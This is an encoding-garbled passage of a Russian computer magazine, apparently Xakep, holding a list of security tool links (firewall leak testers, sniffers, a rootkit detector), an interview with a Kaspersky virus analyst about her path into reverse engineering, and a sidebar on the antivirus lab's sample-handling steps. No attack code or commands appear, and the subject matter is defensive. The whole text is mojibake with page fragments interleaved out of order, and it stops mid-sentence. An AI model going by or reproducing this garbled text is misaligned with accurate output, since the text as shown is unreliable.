òèçèðîâàííîãî ïîèñêà óÿç-
âèìîñòåé, â òîì ÷èñëå ïðè-
ãîäíàÿ äëÿ òåñòèðîâàíèÿ
áðàíäìàóýðîâ (äåìîíñòðà-
öèîííàÿ âåðñèÿ áåç ñóùå-
ñòâåííûõ ôóíêöèîíàëüíûõ
îãðàíè÷åíèé ðàñïðîñòðàíÿ-
åòñÿ íà áåñïëàòíîé îñíîâå).

www.firewallleaktester.com -
áîëüøàÿ êîëëåêöèÿ óòèëèò,
ïðåäíàçíà÷åííûõ äëÿ îáõî-
äà áðàíäìàóýðîâ, è ñâîäíàÿ
òàáëèöà ñ ðåçóëüòàòàìè òåñ-
òèðîâàíèÿ (íà àíãëèéñêîì
ÿçûêå).

http://afick.sourceforge.net -
óòèëèòà Afick, ïîìîãàþùàÿ
ïðè îáíàðóæåíèè âòîðæå-
íèé, à òàêæå ïîçâîëÿþùàÿ
êîíòðîëèðîâàòü îáùóþ öå-
ëîñòíîñòü ñèñòåìû (äîñòóï-
íà äëÿ áîëüøèíñòâà ïëàò-
ôîðì êàê â äâîè÷íîì, òàê è
â èñõîäíîì ôîðìàòàõ). Î
íåé åñòü è îòäåëüíàÿ ñòà-
òåéêà -
www.securitylab.ru/43875.html.

www.security.nnov.ru/soft/3proxy -
ìíîãîïëàòôîðìåííûé íà-
áîð ïðîêñè-ñåðâåðîâ (ïîä
Win32 è Unix).

www.security.nnov.ru/soft/rkde-
tect - óòèëèòà RKDetect äëÿ
îáíàðóæåíèÿ ñèñòåìíûõ
ñëóæá, ñêðûòûõ rootkits
óðîâíÿ ïîëüçîâàòåëÿ.

www.security.nnov.ru/soft/srunas -
óòèëèòà äëÿ çàùèòû àäìè-
íèñòðàòèâíûõ ó÷åòíûõ çà-
ïèñåé ïðè ðàáîòå íà êëèåí-
òñêèõ ìàøèíàõ îò êðàæè ïà-
ðîëåé ñ ïîìîùüþ êåéëîã-
ãåðîâ.

www.xakep.ru/post/27569 - óòè-
ëèòà óäàëåííîãî àäìèíèñò-
ðèðîâàíèÿ ïëàòôîðì
Windows 95/98/2000/XP.

www.scaramanga.co.uk/fwmon -
Firewall Monitor (fwmon), ìî-
íèòîð äëÿ àíàëèçà â ðåàëü-
íîì âðåìåíè ñîáûòèé (âòîð-
æåíèé, àòàê è ò.ä.) âñòðîåí-
íîãî ôàéðâîëà Linux
(ipchains/iptables).

www.pcinternetpatrol.com/down-
loads/audit.php - ìàëåíüêàÿ
óòèëèòà äëÿ òåñòèðîâàíèÿ
çàùèòû êîìïüþòåðà.

http://spybot.eon.net.au -
Spybot-Search&Destroy,

ïðîãðàììà äëÿ îáíàðóæå-
íèÿ è óäàëåíèÿ èç ñèñòåìû
"øïèîíñêèõ" ìîäóëåé.

www.rwtemple.com/software/Http
Spy - äëÿ ìîíèòîðèíãà è ïå-
ðåõâàòà http-òðàôèêà â ðå-
àëüíîì âðåìåíè

http://erwan.l.free.fr � IP-ñíè-
ôåð (ñ ìíîæåñòâîì âñòðî-
åííûõ óòèëèò).

www.sysinternals.com/ntw2k/sour
ce/tcpview.shtml - äåòàëèçèðî-
âàííûé îò÷åò îá àêòèâíûõ â
äàííûé ìîìåíò TCP- è UDP-
ñîåäèíåíèÿõ, à òàêæå î ïðè-
ëîæåíèÿõ, ñîçäàâøèõ ýòè
ñîåäèíåíèÿ.

http://mcdev.com/programs.php?p
age=NoMess - óòèëèòà îòêëþ-
÷åíèÿ Windows Messenger
Service, êîòîðûé ÷àñòî èñ-
ïîëüçóåòñÿ äëÿ ïðîíèêíî-
âåíèÿ íà êîìïüþòåð.

www.lvllord.de/4226fix/4226fix.ht
m - ñòðåìÿñü íåéòðàëèçî-
âàòü âèðóñíî-÷åðâÿ÷íûå
ýïèäåìèè, Microsoft âî âòî-
ðîì SP äëÿ Windows XP
âíåñëà îãðàíè÷åíèå TCP/IP-
ñîåäèíåíèé íà îäèí ïðî-
öåññ (ìàêñèìóì äåñÿòü), ÷òî
íå åñòü õîðîøî ïðè ñêà÷è-
âàíèè ôàéëîâ ÷åðåç ñåòè
îáùèõ ðåñóðñîâ (eDonkey,
Bittorrent, Gnutella è ò.ï.).
Ýòîò ïàò÷ ïîçâîëÿåò óâåëè-
÷èòü â Windows XP SP2 ÷èñ-
ëî TCP/IP-ñîåäèíåíèé äëÿ
îäíîãî ïðîöåññà äî 50-òè.

http://nettime.sourceforge.net -
ïðîãðàììà äëÿ ñèíõðîíèçà-
öèè âðåìåíè ñ ñåðâåðàìè
òî÷íîãî âðåìåíè.

www.chiark.greenend.org.uk/~sgta
tham/putty - ìíîãîïëàòôîð-
ìåííûé Telnet/SSH-êëèåíò
ñ âîçìîæíîñòüþ ýìóëÿöèè
xterm-òåðìèíàëà.

À åñëè ÷òî-òî èùåøü è íå
ìîæåøü íàéòè, íå çàáûâàé
î ôîðóìàõ, â êîòîðûõ ìíî-
ãîå ìîæíî óçíàòü áûñòðî è
áåç íàïðÿãà. Êàê ãîâîðÿò,
îäíà ãîëîâà õîðîøî... 

È áåãîì íà
www.microsoft.com/rus/windows
çàêðûâàòü ñâîè äûðû! Êîãäà
òû òàì áûë â ïîñëåäíèé ðàç?
Òâîÿ îïåðàöèîíêà äàâíî êàê
äóðøëàã :)? À òû âñå íàäå-
åøüñÿ íà ÷óäî è äóìàåøü,
÷òî îáîéäåòñÿ. Íè÷åãî ïîäîá-
íîãî. Ëèáî òû ñàì ñåáÿ îáå-
çîïàñèøü, ëèáî òû ðàíî èëè
ïîçäíî ïîæàëååøü î òîì,
÷òî íè÷åãî íå ïðåäïðèíÿë
ðàíüøå. Ïîäðîáíåå ÷èòàé íà
http://update.microsoft.com/win-
dowsupdate/v6/about.aspx?ln=ru.

E



Alexander S. Salieff (salieff@mail.ru)
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Äåëî â òîì,
÷òî îíà çà-
íèìàåòñÿ âè-
ðóñíûì àíà-
ëèçîì â ñà-

ìîì õàðäêîðíîì ñìûñëå
ýòîãî ñëîâà. Åæåäíåâíî åé
ïðèõîäèòñÿ àíàëèçèðîâàòü
è îáåçâðåæèâàòü òàêîå êî-
ëè÷åñòâî âðåäîíîñíîãî
ñîôòà, êàêîå ìíîãèå èç íàñ,
íàâåðíîå, íå óâèäÿò çà âñþ
ñâîþ æèçíü. Äèçàññåìáëè-
ðîâàíèå, ïîíèìàíèå ôóíê-
öèîíèðîâàíèÿ îïåðàöèîí-
íûõ ñèñòåì, ðàçëè÷íûå ïðî-
öåññîðíûå àðõèòåêòóðû, ïî-
ëèìîðôíûå ìåõàíèçìû, ìå-
òîäèêè çàðàæåíèÿ, òðîÿíû,
íèçêîóðîâíåâîå ïðîãðàììè-
ðîâàíèå, reverse enginee-
ring è ò.ä. - âñå ýòî äëÿ íåå
íå ïóñòûå ñëîâà, à òàêàÿ æå
ïîâñåäíåâíàÿ ðåàëüíîñòü,
êàê òâîé óòðåííèé êîôå.

XS: Ïðåäñòàâüñÿ, ñêîëüêî
òåáå ëåò (ïðèáëèçèòåëüíî ;))
è, âêðàòöå, ÷åì ñåé÷àñ çàíè-
ìàåøüñÿ?

A: Àëèñà Øåâ÷åíêî, 21
ãîä, âèðóñíûé àíàëèòèê
"Ëàáîðàòîðèè Êàñïåðñêî-
ãî", reverse engineering â
êîíòåêñòå êîìïüþòåðíîé
âèðóñîëîãèè.

XS: ×åì áûë îáóñëîâëåí
âûáîð òâîåé ñåãîäíÿøíåé
ïðîôåññèè, êåì õîòåëà
ñòàòü â äåòñòâå?

A: Ñòðîèëà äîìèêè èç
êîíñòðóêòîðà è ìå÷òàëà
áûòü êîñìîíàâòîì. Ê ïîñ-
ëåäíåìó ïóíêòó, âîçìîæíî,
ïðè÷àñòåí Êèð Áóëû÷åâ
(èìåþòñÿ â âèäó "Ïðèêëþ-
÷åíèÿ Àëèñû" - ïðèì. ðåä.).

Ìíå áûëî èíòåðåñíî, êàê
âñå óñòðîåíî íà ñàìîì íèç-
êîì óðîâíå è êàê îíî ðàáî-
òàåò. Èçíà÷àëüíî ýòî âûëè-
âàëîñü â ïîãëîùåíèå êíè-
æåê òèïà "õèìèÿ/ôèçè-

êà/áèîëîãèÿ äëÿ ëþáîçíà-
òåëüíûõ" è ïî÷èíêó (èíîãäà
íàîáîðîò) áûòîâîé ìåëî÷è
âðîäå òåëåôîíîâ.

Êîìïüþòåð ïðîñòî ïðåäñ-
òàâëÿåò ñîáîé äîñòàòî÷íî
øèðîêèé êàíàë, â êîòîðûé
ìîæíî ñïóñêàòü ïîäîáíóþ
èññëåäîâàòåëüñêóþ ýíåð-
ãèþ. Ïîýòîìó êîãäà â ïåðè-
îä ìîåãî äîøêîëüíîãî âîç-
ðàñòà ïàïà íà÷àë çàíèìàòü-
ñÿ êîìïüþòåðàìè, îíè ïîïà-
ëè è â ìîå ïîëå çðåíèÿ -
äàëüíåéøåå ðàçâèòèå â ýòó
ñòîðîíó ïëàâíî ñêëàäûâà-
ëîñü ñàìî ñîáîé. Ê àññåìá-
ëåðó è reverse engineering'ó
ÿ ïðèøëà ãîäàì ê 15-òè è ñî
âñåé ìîùüþ þíîøåñêîãî
ìàêñèìàëèçìà âîçìå÷òàëà
ñâÿçàòü ñ ýòèì çàíÿòèåì áó-
äóùóþ ïðîôåññèîíàëüíóþ
äåÿòåëüíîñòü. Òî åñòü ýòî
ïðîñòî äåòñêàÿ ìå÷òà ñáû-
ëàñü, ÿ, âðîäå êàê, íè ïðè
÷åì :). Â ñîîòâåòñòâèè ñ ïðî-
ðî÷åñòâàìè øêîëüíûõ ó÷è-
òåëåé, ìíå ñâåòèëà êàðüåðà
ãóìàíèòàðèÿ-ïèñàòåëÿ è
ëèíãâèñòà.

XS: Ãäå ó÷èëàñü, ðàáîòà-
ëà, ïðåæäå ÷åì ïðèéòè â àí-
òèâèðóñíóþ êîíòîðó? ×òî
äàëî ñàìûé çíà÷èòåëüíûé
âêëàä â òâîþ ïðîôåññèþ -
âóç, ñàìîîáó÷åíèå etc.?

A: Òîëüêî ñàìîîáó÷åíèå.
IT-îáëàñòü ÷åðåñ÷óð äèíà-
ìè÷íà, ïîýòîìó åå íåâîç-
ìîæíî êà÷åñòâåííî ïðîâåñ-
òè ÷åðåç èíåðòíóþ ñèñòåìó
àêàäåìè÷åñêîãî îáðàçîâà-
íèÿ. Â óñëîâèÿõ ïîäîáíîé
äèíàìè÷íîñòè îðèãèíàëüíàÿ
öåëü ÂÎ - ïðåäîñòàâèòü ÷å-
ëîâåêó íåîáõîäèìûå â ðà-
áîòå çíàíèÿ è íàâûêè - îò-
÷àñòè ïðîôàíèðóåòñÿ, ñâî-
äÿñü ê íåìíîãî äðóãèì âå-
ùàì: íàó÷èòü ó÷èòüñÿ, íàñò-
ðîèòü ãîëîâó äëÿ ðàáîòû â
íóæíîé îáëàñòè (âûðàáî-

òàòü ñîîòâåòñòâóþùåå
ìûøëåíèå) è ïîñëóæèòü
ïåðâè÷íûì êóðñîì è ñåðòè-
ôèêàòîì ñîöèàëüíîé àäåê-
âàòíîñòè. Åñëè ýòîãî íå ïî-
íèìàòü, òî íå èçáåæàòü ðàç-
î÷àðîâàíèÿ: "Òî, ÷åìó íàñ
ó÷àò, íèêîìó íå íóæíî". Êàê
è ïðîèçîøëî ó ìåíÿ. Äâà
ðàçà. Íà ìîìåíò ïåðâîãî
ïîñòóïëåíèÿ â óíèâåðñèòåò
íà "êîìïüþòåðíóþ ñïåöè-
àëüíîñòü" ÿ óæå äàâíî çíà-
ëà àññåìáëåð, è îùóùåíèå
áåñïîëåçíîñòè ïàñêàëåâñ-
êî-áóìàæíîé âîëîêèòû
âñêîðå âîçðîñëî äî òàêîé
ñòåïåíè, ÷òî óòåøàòüñÿ íå-
îáõîäèìîñòüþ áàçîâûõ çíà-
íèé ñòàëî íåâîçìîæíî. Ïî-
òîì áûëà åùå îäíà ïîïûòêà
ó÷åáû - óæå â ïåòåðáóð-
ãñêîì âóçå, îòêóäà ÿ è ñáå-
æàëà â Ëàáîðàòîðèþ.

Îáðàçîâàíèå ÿ áóäó ïðî-
äîëæàòü. Íà ýòîò ðàç â ñòî-
ðîíó àêàäåìè÷åñêîé ìàòå-
ìàòèêè (òî åñòü òóäà, ãäå ìè-
íèìèçèðîâàíû êîìïüþòåð-
íî-ïðèêëàäíè÷åñêèå ïîòó-
ãè). Íå äëÿ êîðî÷êè è äàæå
íå èç ñîîáðàæåíèé ñîöè-
àëüíîé àäåêâàòíîñòè, à ïî-
òîìó ÷òî ïîòðåáíîñòü çàíè-

ìàòüñÿ ìûøëåíèåôîðìèðó-
þùåé áàçîé (ìàòåìàòèêîé,
ôèçèêîé) îñòàëàñü, à äå-
ëàòü ýòî ñàìîñòîÿòåëüíî
íåñêîëüêî ñëîæíåå, ÷åì
èçó÷àòü ïðèêëàäíûå îáëàñ-
òè IT. Õîòÿ áû ïîòîìó, ÷òî â
äàííîì ñëó÷àå òåîðèÿ íå
ïðîÿâëÿåò ñåáÿ â ïðàêòèêå
íåïîñðåäñòâåííî, è âñåãäà
åñòü ñîáëàçí îòëûíèâàòü
ïîä ïðåäëîãîì "ýòî íèêîìó
íå íóæíî".

Ðàáîòàëà äî KL, íå ñ÷èòàÿ
ïîäðàáîòîê è ñàìîäåÿòåëü-
íîñòè, â òåõíè÷åñêîé ïîääå-
ðæêå ïèòåðñêîãî ïðîâàéäå-
ðà, ýíèêåéùèêîì, îôèöèàí-
òêîé (ïîñëåäíåå - â ïåðèîä
óâëå÷åíèÿ Êàñòàíåäîé, â
êà÷åñòâå ñïåöîïåðàöèè ïî
êóïèðîâàíèþ ×óâñòâà
Ñîáñòâåííîé Âàæíîñòè (íà-
äî áûëî èäòè ñàíèòàðêîé â
íåâðîëîãèþ: ýòî ýôôåêòèâ-
íåå :) � ïðèì. Ëîçîâñêîãî).

XS: Ïîìíèøü ëè ñâîé ïåð-
âûé êîìïüþòåð? Êîãäà îí ó
òåáÿ ïîÿâèëñÿ, ÷òî áûëà çà
ìàøèíà?

A: Íå î÷åíü ïîìíþ. Ìíå
òîãäà áûëî 12 ëåò, ÿ ïðî÷è-
òàëà êíèæêó "Áåéñèê äëÿ

»
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íà÷èíàþùèõ" è ïåðâûì äå-
ëîì çàíÿëàñü ïîèñêîì òîãî
ìåñòà â êîìïüþòåðå, â êîòî-
ðîå íóæíî âñòàâëÿòü ïðîã-
ðàììû íà áåéñèêå, ÷òîáû
îíè èñïîëíÿëèñü.

XS: Êàêèå êíèãè, èíòåð-
íåò-ïîðòàëû, äðóãèå èñòî÷-
íèêè ìîæåøü íàçâàòü îñíî-
âîïîëàãàþùèìè â òâîåì,
êàê ñïåöèàëèñòà, ðàçâèòèè?

A: Áûëî î÷åíü ìíîãî
ýëåêòðîííîé äîêóìåíòàöèè,
tutorial'îâ è ñòàòåé, àâòîð-
ñòâî êîòîðûõ âñïîìèíàòü
ñåé÷àñ áåñïîëåçíî. Âîò
åñòü êíèæêà "Àññåìáëåð
äëÿ IBM PC" Ôèíîãåíîâà.
Åå ïîìíþ, ïîòîìó ÷òî îíà

áóìàæíàÿ è ñòîèò ñåé÷àñ íà
ïîëêå â êà÷åñòâå íàïîìèíà-
íèÿ î òîì, êàê âñå íà÷èíà-
ëîñü. Åùå áîëüøóþ ðîëü
ñûãðàëà Fidonet - ýõà
ru.hacker.dummy, â êîòîðîé
ìåíÿ ïîñòîÿííî ïðèíèìàëè
çà ìàëü÷èêà, íåñìîòðÿ íà
æåíñêîå èìÿ: "Íó, åñòü æå
òàêîé - Alice Cooper". Ýòî ê
âîïðîñó î ñòåðåîòèïàõ è
òîì, êàê îíè ôèëüòðóþò
âõîäÿùèé ïîòîê è ôîðìè-
ðóþò ðåçóëüòèðóþùóþ êàð-
òèíêó.

XS: Êàêóþ ÎÑ è äëÿ êàêî-
ãî ñïåêòðà çàäà÷ ïðåäïî÷è-
òàåøü èñïîëüçîâàòü?

A: Ñåé÷àñ òîëüêî âñÿêèé
Windows. 2000/XP, îáû÷-
íûé ñòàíäàðòíûé âûáîð.
Ïîçâîëÿåò ðåøàòü âåñü
ñïåêòð çàäà÷. À íà ñëó÷àé,
êîãäà íå ïîçâîëÿåò, åñòü
MSYS (mingw - ïðèì.ðåä.) è
Vmware. 

Ñ æèâûì Unix'îì îáùà-
ëàñü â ïîñëåäíèé ðàç ãîäà
äâà íàçàä - íà ñåðâåðå îá-
ùàæíîé ëîêàëêè. Ñ òåõ âðå-
ìåí îñòàëîñü íåèñêîðåíè-
ìîå typo - ïèñàòü â win-
dows-êîíñîëè ifconfig âìåñ-
òî ipconfig.

XS: Òâîå îòíîøåíèå ê õà-
êåðñòâó, êðýêåðñòâó, âèðó-
ñîïèñàòåëüñòâó?

A: Íå ìîãó îòâåòèòü: âîï-
ðîñ ðàçìûòûé.

Âîò "õàêåðñòâî" - ýòî òà-
êîå îáùåå ìåñòî, êîòîðîå
îò ñëó÷àÿ ê ñëó÷àþ è â çà-
âèñèìîñòè îò èíòåðåñà ãîâî-
ðÿùåãî ìîæåò ïîäðàçóìå-
âàòü "êðàæó ñåêðåòíûõ äàí-
íûõ â êîðûñòíûõ öåëÿõ",
ëèáî "ãëóáîêîå èññëåäîâà-
íèå êîìïüþòåðíûõ (íåîáÿ-
çàòåëüíî) îáúåêòîâ ñ öåëüþ
(íåîáÿçàòåëüíîé) íàõîæäå-
íèÿ óÿçâèìîñòåé â íèõ", ëè-
áî "âíåäðåíèå â ÷óæèå
êîìïüþòåðû", ëèáî åùå
÷òî-òî. Òî åñòü ó ìåíÿ èíîã-
äà áûâàåò ìíåíèå ïî ïîâîäó
êîíêðåòíûõ ìîòèâîâ êîíê-
ðåòíûõ ëþäåé â êîíêðåòíûõ
ñèòóàöèÿõ, à ïî ïîâîäó
îáîáùàþùèõ òåðìèíîâ ó
ìåíÿ ìíåíèÿ íåò.

XS: Èíòåðåñîâàëàñü ëè
äåÿòåëüíîñòüþ êàêèõ ëèáî
õàê/security-ãðóïï (áûëà ëè
â èõ ñîñòàâå), ïðîñòî àâòî-
ðèòåòîâ â îáëàñòè IT-securi-
ty? Ìîæíî ëè ñêàçàòü, ÷òî
îíè îêàçàëè íà òåáÿ 
âëèÿíèå?

A: Íèêòî îñîáåííî íå îêà-
çàë, ÿ, â ñðåäíåì, ñàìà ïî
ñåáå è òèõèì õîäîì. Îäíàæ-

Øàã 11. ÏÏîëó÷åíèå ññýìïëà
×àñòü çàðàæåííûõ ñýìïëîâ ïðèõîäèò îò ïîëüçîâàòåëåé (íåîáÿçàòåëüíî îò
êëèåíòîâ: ëþáîé ÷åëîâåê ìîæåò ïðèñëàòü ôàéë äëÿ ïðîâåðêè), ÷àñòü - îò
ïàðòíåðîâ, âêëþ÷àÿ àíòèâèðóñíûå êîìïàíèè è íåçàâèñèìûõ èññëåäîâàòåëåé.
Äëÿ ðàáîòû ñ âõîäÿùåé ïî÷òîé èñïîëüçóåòñÿ ñïåöèàëüíîå ïðîãðàììíîå îáåñ-
ïå÷åíèå, ðåàëèçóþùåå ñèñòåìó ñáàëàíñèðîâàííîãî ðàñïðåäåëåíèÿ ïèñåì ïî
âèðóñíûì àíàëèòèêàì, è êîå-êàêèå äîïîëíèòåëüíûå ôóíêöèè. Ýòî ÏÎ - îñíîâ-
íîé èíòåðôåéñ âçàèìîäåéñòâèÿ âèðóñíîãî àíàëèòèêà ñ âíåøíèì ìèðîì.

Øàã 22. ÀÀíàëèç ññýìïëà
Ïåðâûé ýòàï - ïîëóàâòîìàòè÷åñêèé ïðåäâàðèòåëüíûé àíàëèç è ñáîð èíôîð-
ìàöèè, êîòîðûé ïðîèçâîäèòñÿ íàä âñåìè îáúåêòàìè âíå çàâèñèìîñòè îò èõ òè-
ïà. Íà ýòîì ýòàïå îïðåäåëÿåòñÿ, åñòü ëè â àíòèâèðóñíûõ êîëëåêöèÿõ ÷òî-ëè-
áî ïîäîáíîå àíàëèçèðóåìîìó îáúåêòó è êàêàÿ èíôîðìàöèÿ ïî äàííîìó òèïó
ïðîãðàìì óæå èìååòñÿ. Âòîðîé ýòàï - äåòàëüíûé àíàëèç ñýìïëà. Íà ýòîé ñòà-
äèè ê ðàáîòå ïîäêëþ÷àþòñÿ ñïåöèàëèçèðîâàííûå óòèëèòû - òå èëè èíûå â çà-
âèñèìîñòè îò ñïåöèôèêè êàæäîãî ôàéëà. Ïðè ïîìîùè íèõ ôàéë ïðèâîäèòñÿ
ê âèäó, óäîáíîìó äëÿ àíàëèçà ÷åëîâåêîì, òî åñòü ôàéë ðàñïàêîâûâàåòñÿ/äå-
êîìïèëèðóåòñÿ/äèçàññåìáëèðóåòñÿ/äåøèôðóåòñÿ/ðàñêëàäûâàåòñÿ íà ñîñ-
òàâëÿþùèå â ñîîòâåòñòâèè ñ ôîðìàòîì è ò.ï. Èñïîëüçóþòñÿ êàê âíóòðåííèå
ðàçðàáîòêè, òàê è ñîáñòâåííîðó÷íî íàïèñàííûå èëè âíåøíèå ïðîãðàììû.
Âåñü ïîñëåäóþùèé àíàëèç ýêñïåðò ïðîèçâîäèò âðó÷íóþ. Ïðè íåîáõîäèìîñ-
òè ïðîãðàììà çàïóñêàåòñÿ íà òåñòîâîé èëè âèðòóàëüíîé ìàøèíå. Â èòîãå âè-
ðóñíûé àíàëèòèê ñàìîñòîÿòåëüíî âûíîñèò âåðäèêò (èìååòñÿ ëè â äàííîì îáú-
åêòå äåñòðóêòèâíàÿ ñîñòàâëÿþùàÿ) è, â ñëó÷àå ïîëîæèòåëüíîãî îòâåòà,
êëàññèôèöèðóåò íîâûé âðåäîíîñíûé îáúåêò è ïðèäóìûâàåò äëÿ íåãî èìÿ.

Øàã 33. ÍÍàïèñàíèå ääîêóìåíòàöèè
Äëÿ îñîáåííî èíòåðåñíûõ/ðàñïðîñòðàíåííûõ/îïàñíûõ âèðóñîâ ïèøóòñÿ
îïèñàíèÿ, êîòîðûå çàòåì ïóáëèêóþòñÿ â "Âèðóñíîé ýíöèêëîïåäèè". Äëÿ òîãî
÷òîáû ñîçäàòü îïèñàíèå äëÿ âðåäîíîñíîé ïðîãðàììû, òðåáóåòñÿ ïðîâåñòè åå
àíàëèç, ãîðàçäî áîëåå äåòàëüíûé, ÷åì íà ïðåäûäóùåì øàãå.

Øàã 44. ÎÎáíîâëåíèå, òòåñòèðîâàíèå, ââûïóñê ààíòèâèðóñíûõ ááàç
Äëÿ âíåñåíèÿ èçìåíåíèé â áàçû èñïîëüçóåòñÿ ñïåöèàëüíàÿ ïðîãðàììà - ðå-
äàêòîð. Òåðìèí "äîáàâëåíî äåòåêòèðîâàíèå", êîòîðûé ÷àñòî âñòðå÷àåòñÿ
ïîëüçîâàòåëÿì â îòâåòàõ íà ïðèñëàííûå èìè íîâûå âèðóñû, ìîæåò îçíà÷àòü
ëèáî ÷òî â áàçû áûëà äîáàâëåíà ñèãíàòóðà äëÿ äàííîãî âèðóñà, ëèáî ÷òî äî-
áàâëåí öåëûé ìîäóëü "ýâðèñòè÷åñêîãî" äåòåêòèðîâàíèÿ. Îäèí ðàç â ÷àñ áà-
çû êîìïèëèðóþòñÿ è òåñòèðóþòñÿ íà öåëîì ñòåíäå ìàøèí ñ ðàçíûìè îïåðà-
öèîííûìè ñèñòåìàìè, ïîñëå ÷åãî - âûïóñêàþòñÿ, òî åñòü âûêëàäûâàþòñÿ íà
FTP/HTTP, îòêóäà ïîëüçîâàòåëè ìîãóò çàáèðàòü èõ âðó÷íóþ èëè ïðè ïîìîùè
ìîäóëÿ îáíîâëåíèé ïðîäóêòà.

ÀÍÒÈÂÈÐÓÑÍÀß ÊÓÕÍß

Ïóãàëêà îò Trojan-Downloader.Win32.Agent.ns



äû ñòàäíûé èíñòèíêò òàêè
çàãíàë ìåíÿ â êëàññè÷åñ-
êóþ áóðæóéñêóþ êðýê-ãðóï-
ïó, íî ìíå áûñòðî ñòàëî ïî-
íÿòíî, ÷òî reverse engineer-
ing, ïîñòàâëåííûé íà ïîòîê, -
ýòî óæå íå challenge, à ðå-
ìåñëî, ðóòèíà è íåñâîáîäà,
à ýòî ìîæíî òåðïåòü ðàçâå
÷òî â óñëîâèÿõ õîðîøåé ìà-
òåðèàëüíîé êîìïåíñàöèè è
îòñóòñòâèÿ âûãîäíîé àëü-
òåðíàòèâû. Çàñêó÷àëà è
ñáåæàëà. Áûâàåò ïî-äðóãî-
ìó, íî ïîòîì óæå ïðîïàë èí-
òåðåñ êó÷êîâàòüñÿ.

XS: Ïî÷åìó òâîèì ñåãîä-
íÿøíèì ìåñòîì ðàáîòû ÿâ-
ëÿåòñÿ èìåííî àíòèâèðóñ-
íàÿ êîìïàíèÿ? 

A: Îáëàñòü, îãðàíè÷åííàÿ
íèçêîóðîâíåâûì ïðîãðàì-
ìèðîâàíèåì è äåáàããåðàìè-
äåêîìïèëÿòîðàìè, äîñòàòî÷-
íî óçêàÿ: ëèáî àíòèâèðóñ-

íàÿ èíäóñòðèÿ, ëèáî çàùèòà
ñîôòà. Àíòèâèðóñíàÿ èíäó-
ñòðèÿ ïðåäñòàâëåíà â Ðîñ-
ñèè âñåãî äâóìÿ áîëåå-ìå-
íåå çíà÷èòåëüíûìè êîìïà-
íèÿìè. Äàëüøå âñå íà óðîâ-
íå "òàê ïîëó÷èëîñü".

XS: ×òî áû òû îòâåòèëà
÷åëîâåêó, ñ÷èòàþùåìó, ÷òî
îáëàñòü IT-security - óäåë
èñêëþ÷èòåëüíî ìóæ÷èí?
Äóìàåøü ëè òû, ÷òî ñåãîäíÿ

ìíîãèå æåíùèíû ðåàëèçó-
þò ñâîé èíòåðåñ è ïðèçâà-
íèå è ñïîñîáíû ïðîôåññèî-
íàëüíî âûðàñòè, åñëè ïðè-
äóò ðàáîòàòü â ýòó îáëàñòü?
Èëè òû ñ÷èòàåøü, ÷òî òàêèõ
íåìíîãî, à áîëüøèíñòâî èç
èìåþùèõñÿ ïðîñòî îòäàþò
äàíü ìîäå?

A: Íè÷åãî áû íå îòâåòèëà,
ïîòîìó ÷òî îòâå÷àòü íà
îäèí è òîò æå âîïðîñ â òå-
÷åíèå øåñòè ëåò èçðÿäíî
íàäîåëî :). Â íàñòîÿùèé ìî-
ìåíò ìíå óæå ñëîæíî ñîðè-
åíòèðîâàòüñÿ è ïîíÿòü, î
÷åì âîîáùå âñå ýòî, ïîòîìó
÷òî íå âèäíî ïðîáëåìû, à
âèäåí ëèøü ïóñòîòíûé ñïîð
ïðî îáîáùåíèÿ-ìèðîâîç-
çðåíèÿ. Âåäü î÷åâèäíî æå,
÷òî, ñ îäíîé ñòîðîíû, ñòå-
ðåîòèïû âñåãäà îñíîâàíû
íà íåêîé îáúåêòèâíîé ñòà-
òèñòèêå, à ñ äðóãîé - âñåãäà
ïîêðûâàþò íå âåñü, à ëèøü
ñàìûé øèðîêèé, "ñðåäíèé"
ñëîé îáúåêòîâ. Ïðèìåíè-
òåëüíî ê îáñóæäàåìîìó
âîïðîñó ýòî îçíà÷àåò, ÷òî
äà, åñòü òàêîå óñòðîéñòâî
ìîçãîâ, ñ êîòîðûì õîðîøî
ñî÷åòàþòñÿ îïðåäåëåííûå
êîìïüþòåðíûå çàíÿòèÿ, à
åñòü äðóãîå óñòðîéñòâî, ñ
êîòîðûì îíè ñî÷åòàþòñÿ
ïëîõî, è ðàñïðåäåëåíèå
ýòèõ äâóõ óñòðîéñòâ â ñîîò-
âåòñòâèè ñ ôèçè÷åñêèì ïî-
ëîì îêàçàëîñü â èçâåñòíîé
ñòåïåíè íåðàâíîìåðíûì. Íî
íåðàâíîìåðíîñòü ðàñïðåäå-
ëåíèÿ - íåäîñòàòî÷íîå óñ-
ëîâèå äëÿ âûâåäåíèÿ ïðè-
÷èííî-ñëåäñòâåííîé çàâè-
ñèìîñòè ìåæäó îïðåäåëåí-
íûì óñòðîéñòâîì ìîçãîâ è
ôèçè÷åñêèì ïîëîì êàê òà-
êîâûì.

Æåíùèíû â IT, áåçóñëîâ-
íî, åñòü, îíè ðàñòóò è ðåà-
ëèçóþòñÿ - ýòî âðîäå êàê
óæå èçâåñòíûé ôàêò. ß âî-
îáùå ñ÷èòàþ, ÷òî ïðîãðàì-
ìèðîâàíèå in general - ïî
ìíîãèì ïàðàìåòðàì î÷åíü
"æåíñêàÿ" ïðîôåññèÿ, íî
íå õî÷åòñÿ óãëóáëÿòüñÿ â
äîêàçàòåëüñòâà è àíàëèç
âñåãî ýòîãî, ïîñêîëüêó âûé-
äåò ìàññèâíûé òðàêòàò "òîð-

æåñòâî óìîçðèòåëüíîñòè", à
àóäèòîðèÿ â óæàñå ðàçáå-
æèòñÿ.

XS: Ìíîãî ëè ó òåáÿ ïîä-
ðóã ñ àíàëîãè÷íûì ïðîôè-
ëåì äåÿòåëüíîñòè?

A: Íè îäíîé. Ñêîðåå âñåãî,
ýòî èçäåðæêà óçîñòè äàííîé
ïðîôåññèîíàëüíîé îáëàñòè
(òî åñòü òîìó ïðîöåíòó, êî-
òîðûé â ñðåäíåì ïî IT-îá-
ëàñòè ïðåäñòàâëåí æåíùè-
íàìè, òóò ïðîñòî íåãäå ðàç-
âåðíóòüñÿ).

XS: Êàêîâ ñïåêòð òâîèõ
çàäà÷ â ðàáîòå? Òÿæåëî ëè
ðåâåðñèòü âèðóñû è ïèñàòü
ëèíêè? Êàê ÷àñòî è â êàêîì
òåìïå ïðèõîäèòñÿ çàíèìàòü-
ñÿ ýòèì?

A: Åñòü âõîäÿùèé ïîòîê
ðàçëè÷íûõ êîìïüþòåðíûõ
îáúåêòîâ íåèçâåñòíîãî õà-
ðàêòåðà (ïðîãðàììû, ñêðèï-
òû, îôèñíûå äîêóìåíòû,
HTML-äîêóìåíòû - âñå, ÷òî
õîòÿ áû â òåîðèè çàâåäîìî
âðåäîíîñíî). Áàçîâàÿ çàäà-
